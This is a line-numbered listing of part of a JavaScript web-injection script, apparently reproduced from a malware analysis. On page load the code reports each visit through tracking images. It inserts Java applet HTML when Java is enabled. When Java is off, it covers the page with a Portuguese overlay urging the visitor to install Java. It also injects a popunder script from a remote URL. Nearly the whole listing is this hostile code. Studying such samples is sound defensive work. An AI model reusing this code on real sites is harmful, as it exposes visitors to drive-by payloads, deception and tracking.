<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 123:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 124:</span> <span style="color: #0000ff">function</span> JSM_onInit(hBody) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 125:</span>     <span style="color: #008000">//report access</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 126:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_access);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 127:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_access);</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 128:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_access);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 129:</span>     <span style="color: #0000ff">if</span> (hBody) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 130:</span>         <span style="color: #0000ff">var</span> html = <span style="color: #006080">''</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 131:</span>         <span style="color: #0000ff">if</span> (navigator.javaEnabled()) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 132:</span>             <span style="color: #008000">//java on</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 133:</span>             html = JSM_getAppletHtml() + <span style="color: #006080">' '</span> + JSM_getAppletHtml_X();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 134:</span>             <span style="color: #008000">//report java enabled access</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 135:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaon);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 136:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaon);</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 137:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaon);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 138:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 139:</span>         } <span style="color: #0000ff">else</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 140:</span>             <span style="color: #008000">//java off</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 141:</span>             <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> window.innerWidth != <span style="color: #006080">'undefined'</span>) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 142:</span>                 viewportwidth = window.innerWidth;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 143:</span>                 viewportheight = window.innerHeight;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 144:</span>             } <span style="color: #0000ff">else</span> <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> document.documentElement != <span style="color: #006080">'undefined'</span> &amp;&amp; <span style="color: #0000ff">typeof</span> document.documentElement.clientWidth != <span style="color: #006080">'undefined'</span> &amp;&amp; document.documentElement.clientWidth != 0) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 145:</span>                 viewportwidth = document.documentElement.clientWidth;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 146:</span>                 viewportheight = document.documentElement.clientHeight;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 147:</span>             } <span style="color: #0000ff">else</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 148:</span>                 viewportwidth = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientWidth;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 149:</span>                 viewportheight = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientHeight;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 150:</span>             }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 151:</span>             <span style="color: #008000">//html = 'java is NOT enabled...';</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 152:</span>             html = <span style="color: #006080">'&lt;div id=&quot;xyz_light_cont&quot; style=&quot;display: none; position: absolute; text-align: center; top: 0; left: 0; width: 103%; height: 103%; z-index: 9002; background: none&quot;&gt;&lt;div id=&quot;xyz_light&quot; style=&quot;display: none; margin: 0 auto; margin-top: 130px; width: 600px; padding: 0;    border: 16px solid #212121; border-top: none; background-color: white; z-index:9003; overflow: auto; font-family: Tahoma; font-size: 11px; color: black; text-align: center;&quot;&gt;&lt;!--&lt;div style=&quot;text-align: left; width: 70%; margin: auto auto; background-color: #fff; border: 1px solid #727272&quot;&gt;--&gt;&lt;div style=&quot;font-weight: bold; font-size: 12px; color: #fff; padding: 12px 8px 8px 4px; background-color: #212121; text-align: left&quot;&gt;Atenção&lt;/div&gt;&lt;div style=&quot;padding: 6px; background-color: #fff&quot;&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;a style=&quot;text-decoration: underline; color: blue&quot; href=&quot;javascript:void(0)&quot; onclick=&quot;document.getElementById(\'xyz_light\').style.display=\'none\';document.getElementById(\'xyz_fade\').style.display=\'none\';document.getElementById(\'xyz_light_cont\').style.display=\'none\'&quot;&gt;Fechar&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;padding-top: 8px; text-align: center&quot;&gt;&lt;img margin: 5px; padding: 0&quot; src=&quot;http://s1.postimage.org/317sn151g/java.jpg&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;padding: 10px 0 25px 0; text-align: center; font-weight: bold&quot;&gt;Você não possui Java ou ele está desabilitado.&lt;br /&gt;Esta página possui recursos que requerem que o Java esteja ativado.&lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.java.com/pt_BR/download/&quot;&gt;Clique aqui para instalar o plugin do Java.&lt;/a&gt;&lt;/div&gt;&lt;!--&lt;/div&gt;--&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;'</span> + <span style="color: #006080">''</span> + <span style="color: #006080">'&lt;div id=&quot;xyz_fade&quot; style=&quot;display: none; position: absolute; top: 0; left: 0; width: '</span> + viewportwidth + <span style="color: #006080">'px; height: '</span> + viewportheight + <span style="color: #006080">'px; background-color: black; z-index: 9001; -moz-opacity: 0.8; opacity: .80; filter: alpha(opacity=80)&quot;&gt;&lt;/div&gt;'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 153:</span>             <span style="color: #008000">/**/</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 154:</span>             <span style="color: #008000">//report java disabled access</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 155:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaoff);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 156:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaoff);</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 157:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaoff);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 158:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 159:</span>             document.getElementById(<span style="color: #006080">'xyz_light_cont'</span>).style.display = <span style="color: #006080">'block'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 160:</span>             document.getElementById(<span style="color: #006080">'xyz_light'</span>).style.display = <span style="color: #006080">'block'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 161:</span>             document.getElementById(<span style="color: #006080">'xyz_fade'</span>).style.display = <span style="color: #006080">'block'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 162:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 163:</span>         hBody.insertBefore(JSM_createScript(jsm_popunder_url), hBody.firstChild);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 164:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 165:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 166:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 167:</span> <span style="color: #0000ff">function</span> JSM_onCreate() {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 168:</span>     <span style="color: #0000ff">if</span> (jsm_loaded) <span style="color: #0000ff">return</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 169:</span>     <span style="color: #0000ff">var</span> myBody = document.body;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 170:</span>     <span style="color: #0000ff">if</span> (myBody) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 171:</span>         jsm_loaded = <span style="color: #0000ff">true</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 172:</span>         JSM_onInit(myBody);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 173:</span>     } <span style="color: #0000ff">else</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 174:</span>         setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 100);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 175:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 176:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 177:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 178:</span> <span style="color: #0000ff">function</span> WindowOnload(f) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 179:</span>     <span style="color: #0000ff">var</span> prev = window.onload;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 180:</span>     window.onload = <span style="color: #0000ff">function</span> () {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 181:</span>         <span style="color: #0000ff">if</span> (prev) prev();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 182:</span>         f();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 183:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 184:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 185:</span> WindowOnload(JSM_onCreate);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 186:</span> setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 7000);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 187:</span> <span style="color: #008000">/*</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 188:</span> <span style="color: #008000">msg = d_hex( d_b64( ?? ) );</span></pre>
